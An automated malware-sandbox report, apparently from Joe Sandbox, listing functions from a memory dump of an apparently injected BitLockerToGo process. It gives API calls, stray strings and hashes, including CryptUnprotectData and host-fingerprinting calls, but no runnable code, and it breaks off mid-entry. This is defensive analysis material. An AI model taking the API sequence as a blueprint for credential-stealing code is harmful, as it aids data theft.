Uniqueness Score: -1.00%

Function 02D15F0E Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 616
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 02D16AF4
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 02D16BFF

Strings

jLB , xrefs: 02D16885
CFZA, xrefs: 02D16C0B

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID: CFZA$jLB
API String ID: 3545744682-1295935614
Opcode ID: e3d99593c65291955cecab98ec7805857886bbe456d023d992532c7d9180e2fa
Instruction ID: 614ca49eb7295f4eae05807fef26841c293a8f7630cb5f3cfcc4c8affed42009
Opcode Fuzzy Hash: e3d99593c65291955cecab98ec7805857886bbe456d023d992532c7d9180e2fa
Instruction Fuzzy Hash: F4326B70145B809AE729CF34C4A0BE3BBE5BF16308F44499DD4EB8B782D77AA505CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02CFAB00 Relevance: 6.7, Strings: 5, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

uw, xrefs: 02CFAC63
y{, xrefs: 02CFAC48
P!_', xrefs: 02CFAD50
$%, xrefs: 02CFAD58
g$, xrefs: 02CFB0CE

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $%$P!_'$g$$uw$y{
API String ID: 0-2479004300
Opcode ID: 1d271a36b84f1661ec5e9c16704dd33db2610152068f142d5a64ac3299710753
Instruction ID: e25779f80cb1ea975c3cb5fedc6c858aebec47afe9525deee02d90ef6ac2068e
Opcode Fuzzy Hash: 1d271a36b84f1661ec5e9c16704dd33db2610152068f142d5a64ac3299710753
Instruction Fuzzy Hash: A70226B15083918BD3A4CF14C49475BFBE2BBC6348F188E1CEAE55B385D77699098B82

Uniqueness

Uniqueness Score: -1.00%

Function 02D0D343 Relevance: 6.5, APIs: 4, Instructions: 493
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 02D0D445
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 02D0D475

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: b035c5816ad200f22d5db1070d4e96dc3926860180450f3a1caaf06c020902de
Instruction ID: 8e2ccb6259f44ee54b5092874ce1a70b15d29a2b3ec6c7590b80d691e7797ad0
Opcode Fuzzy Hash: b035c5816ad200f22d5db1070d4e96dc3926860180450f3a1caaf06c020902de
Instruction Fuzzy Hash: D60277B0600A018FD324CF29C895B23BBB2FF89314F15865DD8A64BBA5D774E856CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 02CF4BB0 Relevance: 5.5, Strings: 4, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IDAT, xrefs: 02CF503F
), xrefs: 02CF4C4D
IHDR, xrefs: 02CF4FCF
IEND, xrefs: 02CF50BF

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 6e2ed5527ee63374aee5a1637635908a2850b7cfe353906a4f5ccfb3f8a056c0
Instruction ID: a76ada115a39978377b2f6e9e718e96988306dccda65f6cdfc023306afc5d2fd
Opcode Fuzzy Hash: 6e2ed5527ee63374aee5a1637635908a2850b7cfe353906a4f5ccfb3f8a056c0
Instruction Fuzzy Hash: 88022771A083408FD7A8CF28D89076BBBE1EF95304F05866DEB859B381D775E909CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02D28E70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(02D2BE0C,005C003F,00000006,00120089,?,00000018,ONA@,00000000,02D04E4A), ref: 02D28E96

Strings

ONA@, xrefs: 02D28E84

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: ONA@
API String ID: 2994545307-126421097
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Uniqueness

Uniqueness Score: -1.00%

Function 02D10AD0 Relevance: 2.9, Strings: 2, Instructions: 362COMMON

Download Yara Rule

Strings

K7NK, xrefs: 02D10EE0
uFIz, xrefs: 02D10ED8

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: K7NK$uFIz
API String ID: 2994545307-3383845869
Opcode ID: 3506ea996f46498c4aa64bc3be667639afa3045299fe3baa531c31c1896204ce
Instruction ID: c718cad6d1af882ae40ec16cace3c66822d40a09209874374da0a67672c45c26
Opcode Fuzzy Hash: 3506ea996f46498c4aa64bc3be667639afa3045299fe3baa531c31c1896204ce
Instruction Fuzzy Hash: BBC115B1A08301AFD714DF18E89072BB7E2EF85719F18892DE98587781D375ED45CB82

Uniqueness

Uniqueness Score: -1.00%

Function 02D10352 Relevance: 1.8, Strings: 1, Instructions: 565COMMON

Download Yara Rule

Strings

`, xrefs: 02D10998

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 84a17f0652aeab339cb4e6ed8005525784c4f5e4293006fb0f3fbd590ad37c4d
Instruction ID: 9265353cd5d600e43c75607c26675edcbde0e4036c9cb1327a5a5d35100f3b8f
Opcode Fuzzy Hash: 84a17f0652aeab339cb4e6ed8005525784c4f5e4293006fb0f3fbd590ad37c4d
Instruction Fuzzy Hash: 8C12A5B1908380DBD714EF14E49076BBBE1FB89309F584A2DE9C99B791D738D845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 02D05977 Relevance: 1.5, APIs: 1, Instructions: 28encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?), ref: 02D059A3

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: fbaa496429251621ea00a7fa0b700a16348c26be5dd8ccb30cb54f5206395e32
Instruction ID: 1595947c5ef0403a8404fea1f123086a439c0bccc6b693ef8c2898fa29014ef2
Opcode Fuzzy Hash: fbaa496429251621ea00a7fa0b700a16348c26be5dd8ccb30cb54f5206395e32
Instruction Fuzzy Hash: 7FD0A7F05D0245ABE224DA20CD81F37F3ADEBC5201F11A81AF681D7342C9B0E8014B18

Uniqueness

Uniqueness Score: -1.00%

Function 02D13FD5 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

~}, xrefs: 02D14048

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ~}
API String ID: 0-3738258182
Opcode ID: 7e3214d8ea727d4bc800265c3166da61be51fe6d03e513ea1b512cf59f5f07a9
Instruction ID: 9d02c7faef6c9cf4e62080eeaabdbc2ff65dfe6c16c23495f9a9fd9baad2a177
Opcode Fuzzy Hash: 7e3214d8ea727d4bc800265c3166da61be51fe6d03e513ea1b512cf59f5f07a9
Instruction Fuzzy Hash: 4C51DFB46083418BC724CF19D8617ABB3E2FFC5318F084A1CE8C6AB795E7749941CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02D07AE2 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1cf888cb11db739ef1ecf0a31b7f4991e589e8997b8dbf781f2937e07b55db5
Instruction ID: 132ab68fbd7d6c27e41a6e7d4221eec068c9ec57b7be451abe625c69d25ffb1f
Opcode Fuzzy Hash: c1cf888cb11db739ef1ecf0a31b7f4991e589e8997b8dbf781f2937e07b55db5
Instruction Fuzzy Hash: 69919E756083118BDB28CF18C8A176BB7E1FF95318F18491CE8968B3D0E778E945CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02D26CF0 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db526f53b6d214b12724dc16f6daadd0c4ac2bb7bdff94c50cdf9eccc64ef25
Instruction ID: f260c0a2a3be00c8b5392224aa4991c202a97f81b8e1aae37092b09486cf79ba
Opcode Fuzzy Hash: 2db526f53b6d214b12724dc16f6daadd0c4ac2bb7bdff94c50cdf9eccc64ef25
Instruction Fuzzy Hash: BD619BB16083519BEB14CF14C994B2BBBE6FB9571CF18892DE5856B382D371DC08CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02D0633E Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccdb4ae6fa09c72e2b5e734351d46e9b38519a848ad97f89af03770897365b89
Instruction ID: e29ed47d3578d2c7e37e442a48572cf8e87083d0a7815e10783e372ec15fdded
Opcode Fuzzy Hash: ccdb4ae6fa09c72e2b5e734351d46e9b38519a848ad97f89af03770897365b89
Instruction Fuzzy Hash: E97174B02083519BE724CF14C8A076BB7F2EF85358F00991CE9C99B3A1E779D955CB86

Uniqueness

Uniqueness Score: -1.00%

Function 02D291A2 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8288bbeb7f01986c924e509eea7b3d15df59912944f14146e355f02369849c9f
Instruction ID: 8a7cfbaea85a2bf1c421d74ac57f77b4aa6d8864e781a76e67b0d2b4b894ee92
Opcode Fuzzy Hash: 8288bbeb7f01986c924e509eea7b3d15df59912944f14146e355f02369849c9f
Instruction Fuzzy Hash: 5C516970644B009FE3348F14C9A4B63B7F2BB95318F688A0DD5961BB95C3B1F80ACB94

Uniqueness

Uniqueness Score: -1.00%

Function 02D05D07 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf0fc8fe527cd11c1c7fc86350f5311ead7aa95cdaaf886dd5cd8b4b3c1c889
Instruction ID: 6e4a220cb1a0c86ba4fd06b3a8471c939de9f9a8911e87dd0afecc0520894983
Opcode Fuzzy Hash: 3bf0fc8fe527cd11c1c7fc86350f5311ead7aa95cdaaf886dd5cd8b4b3c1c889
Instruction Fuzzy Hash: 1721AF71A183019BD7188F14D5A472FBBE2BB85308F948A1DE8C617791C375EC42CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 02D1D4D1 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 510331f058a5b840c78e7f88dc09e3592cbdcbf7cfb770ad3c1d7a09406561b4
Instruction ID: 209d89831391c7e04639d8351441b9ab3419a7c5d24fe3c3e2f6558b649af9fa
Opcode Fuzzy Hash: 510331f058a5b840c78e7f88dc09e3592cbdcbf7cfb770ad3c1d7a09406561b4
Instruction Fuzzy Hash: C9F0F2B46087008FC390DF34C18474BBBE2BB88308F608E1CDAAA47B45D375A909CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02D1A923 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 80
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 02D1A9DF

Strings

Y, xrefs: 02D1A934
W, xrefs: 02D1A94C
Q, xrefs: 02D1A954
U, xrefs: 02D1A944
S, xrefs: 02D1A95C
[, xrefs: 02D1A93C

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID: Q$S$U$W$Y$[
API String ID: 2525500382-2221791194
Opcode ID: adf649cfaf91500bd1202c437fadb73459a0f682b7013318e4d308dced158931
Instruction ID: 408fea687d50a0364b81a6e7d80d00475d37a41df3c58b0fb3d07cf60e621d30
Opcode Fuzzy Hash: adf649cfaf91500bd1202c437fadb73459a0f682b7013318e4d308dced158931
Instruction Fuzzy Hash: C741C770108B81CEDB25CF28C498742BFE0AF56314F18868DD8E98F796C775D55ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 02D0DF00 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 02D0E03E
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 02D0E06D

Strings

LK, xrefs: 02D0DF47
qx, xrefs: 02D0DF3F
AFG, xrefs: 02D0E09B

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LK$qx$AFG
API String ID: 237503144-914270564
Opcode ID: ad7f32151364cab03c4e3cba709ae7f1bde572e38fb881dda42c1fb0783a95b5
Instruction ID: 128cdb2857e4a03f36a19bc822f950657b568f4cc5d3eb26ef587e6e0ed3afae
Opcode Fuzzy Hash: ad7f32151364cab03c4e3cba709ae7f1bde572e38fb881dda42c1fb0783a95b5
Instruction Fuzzy Hash: E55150B1108341AFD314CF14C890B5BBBE5EBC5798F108E2DF8A55B391D774D9088B92

Uniqueness

Uniqueness Score: -1.00%

Function 02D051C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 02D0520D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 02D0523F

Strings

}|s, xrefs: 02D05275

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: }|s
API String ID: 237503144-1039199241
Opcode ID: f31b6d3781c27600b2f762e5b32cad65aabd57d32de31c145b4947819c48f6a0
Instruction ID: eeaf475708b31a70a24bcb0372972df17413f1f878aa4f037904e572cfae20bf
Opcode Fuzzy Hash: f31b6d3781c27600b2f762e5b32cad65aabd57d32de31c145b4947819c48f6a0
Instruction Fuzzy Hash: 9A51B0B11043409BD324CF24D895B6BB7E5FF89368F448A1CE9D99B3D1E7B49804CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02CF9390 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 02CF9402

Strings

in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified, xrefs: 02CF93C3

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: ExitProcess
String ID: in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified
API String ID: 621844428-4175449110
Opcode ID: 556f86d43f6bacaa95bd35ab05fe7df330449d06582389873d60f8a33e3579b9
Instruction ID: 903c73392fb8462b33d66d60b74c6bf97fc42abe81ac8f347e809be51757b17a
Opcode Fuzzy Hash: 556f86d43f6bacaa95bd35ab05fe7df330449d06582389873d60f8a33e3579b9
Instruction Fuzzy Hash: 2FF0967080C224C7CEC03BB7954476A7BA99F61309F000816DB8A83284EB34491DDEA3

Uniqueness

Uniqueness Score: -1.00%

Function 02D17635 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 400COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 02D178ED

Strings

:h:, xrefs: 02D17A7C

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: :h:
API String ID: 3960555810-2449104794
Opcode ID: 3d30108285ac59e905eeeebdb9006f49175de5d8e0aeb4c1627299dcabd8090c
Instruction ID: 603caaca1fbd8dbe8b94e6d86838e1e30c06255c3925c99f2bc7116e18704cbe
Opcode Fuzzy Hash: 3d30108285ac59e905eeeebdb9006f49175de5d8e0aeb4c1627299dcabd8090c
Instruction Fuzzy Hash: C3D18D74245B808AE3358B39C454BA7FBE1BF56308F544A5DC4EA8BB92C739A805CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D28B9D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 02D28CFB

Strings

Y[, xrefs: 02D28C62

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: Y[
API String ID: 1029625771-2541013558
Opcode ID: 1f88b6617a4756d5f9d08a6db147c07de4b2769d373e5b304ebea855df4d63ef
Instruction ID: 4cce3bb08da5b8b74cc0ddced50527534a58349fa3f532d0d14fc3539a518d82
Opcode Fuzzy Hash: 1f88b6617a4756d5f9d08a6db147c07de4b2769d373e5b304ebea855df4d63ef
Instruction Fuzzy Hash: D531EFB050A3419FD308CF14C5A471BFBE2FFD5228F288A0EE4A55B785C3749946CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02D2867A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 02D28725

Strings

LJ, xrefs: 02D286A7

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: LJ
API String ID: 1029625771-1839849906
Opcode ID: 03b4cef53aa3210fb6fe5a68d11a907dc424e05d4e8a5603cdcb865a16b0d4fb
Instruction ID: 38e90f2ac428fe128649fbfed505a7c63fb3511a4815cd43a463ea60839c7fcb
Opcode Fuzzy Hash: 03b4cef53aa3210fb6fe5a68d11a907dc424e05d4e8a5603cdcb865a16b0d4fb
Instruction Fuzzy Hash: D61167B46083429FD318CF11D0A075BBBE2EFC4348F18891DE49687381DB34C906CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 02D24D8C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 02D24DC4

Strings

\, xrefs: 02D24D8F

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: InformationVolume
String ID: \
API String ID: 2039140958-2967466578
Opcode ID: 3dffd09ca7c19716e8961cee48a4c6ecdaf71d5712e6d620e9409887ab8b643b
Instruction ID: 99f5663b5fab83c8d92b0120720563f66c006a662328c30d6b2d3f67ccae9f2c
Opcode Fuzzy Hash: 3dffd09ca7c19716e8961cee48a4c6ecdaf71d5712e6d620e9409887ab8b643b
Instruction Fuzzy Hash: 03F092B6680301BBE728DF10EC62F5637A4A744744F24481DB286FB3C0D6F0BD648A59

Uniqueness

Uniqueness Score: -1.00%

Function 02D1119F Relevance: 3.1, APIs: 2, Instructions: 119COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000002B,00000000,00000000,A70BA501), ref: 02D11305
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000002B,00000000,?,?), ref: 02D11D46

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 1753d89517b9da23f4bc100a4674ee9b395608a1bea5a9272163d1bce2ad1037
Instruction ID: b1bf9c551c63624ff3493eab30ea0d6bee2e69b438979eedaa0527fbe8dd2dfd
Opcode Fuzzy Hash: 1753d89517b9da23f4bc100a4674ee9b395608a1bea5a9272163d1bce2ad1037
Instruction Fuzzy Hash: B05177B02007449FDB298F15D8E0B167BB1FF86304F25859DDA9A9F38AD735E805CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02D07E70 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 02D07EAA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 02D07ED8

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 3e0725b5f78edf35683dd82e8065dff40b0b0ffceeaa76d0dea332da46c2e1bb
Instruction ID: 3e06df044f30a51a8b9da50a0b5e893c37383c8db3fa9eddba8f10e295c88da7
Opcode Fuzzy Hash: 3e0725b5f78edf35683dd82e8065dff40b0b0ffceeaa76d0dea332da46c2e1bb
Instruction Fuzzy Hash: 6601D6729402057BD210AA14CC85F7777ADEB89764F040609BA559B3D1D770BD14CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 02D28DAF Relevance: 1.6, APIs: 1, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 02D28E42

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 008c193c6d7aa2eed9e3bc29b6e39aa7727dd1d5bfebf79e7731e41b4df2baee
Instruction ID: 044e7cd8ee2681954361371bd946cc60ca7aec094a2c8c84c5e43a5a0c5f25c6
Opcode Fuzzy Hash: 008c193c6d7aa2eed9e3bc29b6e39aa7727dd1d5bfebf79e7731e41b4df2baee
Instruction Fuzzy Hash: F4118E36A4A7C08FD7134A259C506C0BFB1EF6762470E85D7D4D5CBA63C2299C1ECB21

Uniqueness

Uniqueness Score: -1.00%

Function 02D289CD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 02D28A8B

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d084e11b701623268a7db6d75a651e65e45db10048a96dc98b18080eb83bc65a
Instruction ID: 9781671fdbd3dd29186d7e83c692c0ac8739161340a1c7977abffe937ae59ae5
Opcode Fuzzy Hash: d084e11b701623268a7db6d75a651e65e45db10048a96dc98b18080eb83bc65a
Instruction Fuzzy Hash: B6114471A5C3019FD308CF05E4A071ABBE2EBD5218F248E1DE49567744D774D916CF86

Uniqueness

Uniqueness Score: -1.00%

Function 02D26AD0 Relevance: 1.5, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 02D26B71

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2f4a457d35532c4ce57818fff3891a63a4ab0283c78bf1b2e9b67f9f78b53adb
Instruction ID: 7dc424b747fc9896874a09951e9381bcd7f0da12324533fc1771d97e4f6693ab
Opcode Fuzzy Hash: 2f4a457d35532c4ce57818fff3891a63a4ab0283c78bf1b2e9b67f9f78b53adb
Instruction Fuzzy Hash: E41158B05083419FD708CF05C8A0B6BBBA6EB84328F14891CE8A50B285D730DA15CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 02D26BC0 Relevance: 1.5, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 02D26C42

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
